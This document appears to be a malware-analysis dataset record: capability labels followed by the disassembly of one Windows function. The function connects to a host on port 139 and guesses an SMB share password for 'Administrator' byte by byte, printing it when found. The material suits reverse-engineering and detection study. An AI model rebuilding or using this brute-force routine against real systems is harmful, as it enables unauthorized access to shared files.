Function at 0x409415
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov eax, 0x10480
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040c490
lea eax, [ebp - 0x19c]
mov edi, 1
push eax
xor esi, esi
push 0x101
call sub.WSOCK32.dll_WSAStartup
lea eax, [ebp - 0x10468]
push 0x63
push dword [ebp + 0xc]
push eax
call fcn.00409900
lea eax, [ebp - 0x10468]
add esp, 0xc
push eax
xor ebx, ebx
call fcn.004098c0
test eax, eax
pop ecx
jbe 0x4094ab
mov al, byte [ebp + ebx - 0x10468]
cmp al, 0x2f
jne 0x409479
mov byte [ebp + ebx - 0x10468], 0x5c
jmp 0x409499
movsx edx, al
cmp edx, 0xffffffff
jne 0x409488
mov eax, 0xffffffff
jmp 0x409492
movzx eax, dl
movzx eax, byte [eax + 0x42aa60]
mov byte [ebp + ebx - 0x10468], al
lea eax, [ebp - 0x10468]
inc ebx
push eax
call fcn.004098c0
cmp ebx, eax
pop ecx
jb 0x409464
lea eax, [ebp - 0x10478]
push pe_nt_image_headers32
push 0
push eax
call fcn.00409b60
mov eax, dword [ebp + 8]
add esp, 0xc
movsx ecx, byte [eax]
movzx edx, cl
movzx eax, byte [edx + 0x42a860]
and eax, 0x10
test eax, eax
je 0x4094e7
push dword [ebp + 8]
call sub.WSOCK32.dll_inet_addr
mov dword [ebp - 0x10474], eax
jmp 0x409513
push dword [ebp + 8]
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x4094f5
jmp 0x409562
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea eax, [ebp - 0x10478]
add eax, 4
push ecx
push dword [edx]
push eax
call fcn.00409b20
add esp, 0xc
push 0x8b
mov word [ebp - 0x10478], 2
call sub.WSOCK32.dll_htons
push 0
push 1
push 2
mov word [ebp - 0x10476], ax
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [ebp - 0x10484], eax
jne 0x409547
jmp 0x409562
lea eax, [ebp - 0x10478]
push pe_nt_image_headers32
push eax
push dword [ebp - 0x10484]
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
jne 0x40956c
mov eax, 0xffffffff
jmp 0x4098a8
lea eax, [ebp - 0x10468]
lea ecx, [ebp - 0x103a0]
push ecx
push eax
push dword [ebp - 0x10484]
call fcn.00409079
add esp, 0xc
cmp eax, 0xffffff82
je 0x409599
mov eax, 0xfffffffe
jmp 0x4098a8
push 0x42a454
push str.Administrator
push dword [ebp - 0x10484]
call fcn.00409250
add esp, 0xc
test eax, eax
je 0x4095bf
mov eax, 0xfffffffd
jmp 0x4098a8
lea eax, [ebp - 0x10404]
push 0x64
push 0
push eax
call fcn.00409b60
lea eax, [ebp - 0x1039c]
add esp, 0xc
mov dword [ebp - 0x10480], eax
add dword [ebp - 0x10480], 0x2f
mov dword [ebp - 0x1048c], 1
mov eax, dword [ebp - 0x1048c]
mov byte [ebp + edi - 0x10405], al
lea eax, [ebp - 0x1039c]
push 0x200
push 0
push eax
call fcn.00409b60
mov eax, dword [ebp - 0x103a0]
mov ebx, 0x100
cdq
mov ecx, 0x100
add esp, 0xc
mov byte [ebp - 0x10377], 0xff
mov byte [ebp - 0x10398], 0xff
idiv ebx
mov eax, dword [ebp - 0x103a0]
mov byte [ebp - 0x10397], 0x53
mov byte [ebp - 0x10378], 4
mov byte [ebp - 0x10396], 0x4d
mov byte [ebp - 0x1037d], 0x28
mov byte [ebp - 0x10395], 0x42
mov byte [ebp - 0x1038d], 0x20
mov byte [ebp - 0x10394], 0x75
mov byte [ebp - 0x1038e], 1
mov byte [ebp - 0x1038f], 0x18
mov byte [ebp - 0x1037c], dl
cdq
idiv ecx
mov byte [ebp - 0x1037b], al
lea eax, [ebp - 0x10404]
push eax
call fcn.004098c0
mov byte [ebp - 0x10371], al
lea eax, [ebp - 0x10468]
pop ecx
push eax
call fcn.004098c0
mov ebx, eax
lea eax, [ebp - 0x10404]
pop ecx
push eax
call fcn.004098c0
add bl, al
lea eax, [ebp - 0x10404]
inc bl
pop ecx
push eax
mov byte [ebp - 0x1036f], bl
call fcn.004098c0
pop ecx
push eax
lea eax, [ebp - 0x10404]
push eax
push dword [ebp - 0x10480]
call fcn.00409b20
lea eax, [ebp - 0x10468]
add esp, 0xc
push eax
call fcn.004098c0
lea edx, [ebp - 0x10468]
pop ecx
push eax
lea eax, [ebp - 0x10404]
push edx
push eax
call fcn.004098c0
add eax, 0x2f
pop ecx
lea ecx, [ebp - 0x1039c]
add eax, ecx
push eax
call fcn.00409b20
lea eax, [ebp - 0x10468]
add esp, 0xc
push eax
call fcn.004098c0
mov ebx, eax
lea eax, [ebp - 0x10404]
pop ecx
push eax
call fcn.004098c0
add eax, ebx
pop ecx
mov byte [ebp + eax - 0x1036c], 0x41
lea eax, [ebp - 0x10468]
push eax
call fcn.004098c0
mov ebx, eax
lea eax, [ebp - 0x10404]
pop ecx
push eax
call fcn.004098c0
add eax, ebx
pop ecx
mov byte [ebp + eax - 0x1036b], 0x3a
lea eax, [ebp - 0x10468]
push eax
call fcn.004098c0
mov ebx, eax
lea eax, [ebp - 0x10404]
pop ecx
push eax
call fcn.004098c0
add bl, al
lea eax, [ebp - 0x10404]
add bl, 0x2f
pop ecx
push 0
push eax
mov byte [ebp - 0x10399], bl
call fcn.004098c0
mov ebx, eax
lea eax, [ebp - 0x10468]
pop ecx
push eax
call fcn.004098c0
add ebx, eax
lea eax, [ebp - 0x1039c]
add ebx, 0x33
pop ecx
push ebx
push eax
push dword [ebp - 0x10484]
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x4097d5
mov eax, 0xfffffffc
jmp 0x4098a8
lea eax, [ebp - 0x1019c]
push 0x10000
push 0
push eax
call fcn.00409b60
lea eax, [ebp - 0x1019c]
add esp, 0xc
push 0
push 0x2000
push eax
push dword [ebp - 0x10484]
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
jne 0x409815
mov eax, 0xfffffffb
jmp 0x4098a8
cmp byte [ebp - 0x10193], 0
je 0x40985b
cmp dword [ebp - 0x1048c], 0xff
jne 0x409845
cmp edi, 1
je 0x409836
mov esi, 1
jmp 0x40983b
mov esi, 2
mov byte [ebp + edi - 0x10405], 0
jmp 0x40985b
inc dword [ebp - 0x1048c]
cmp dword [ebp - 0x1048c], 0xff
jle 0x4095ef
inc edi
test esi, esi
je 0x4095e5
push dword [ebp - 0x10484]
call sub.WSOCK32.dll_closesocket
cmp esi, 1
jne 0x4098a3
lea eax, [ebp - 0x10404]
push eax
call fcn.004098c0
cmp eax, 0x20
pop ecx
jae 0x4098a3
lea eax, [ebp - 0x10404]
push eax
push str.Password:___s__n
push dword [ebp + 0x10]
call fcn.0040b2b0
add esp, 0xc
xor eax, eax
jmp 0x4098a8
mov eax, 0xffffffdf
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret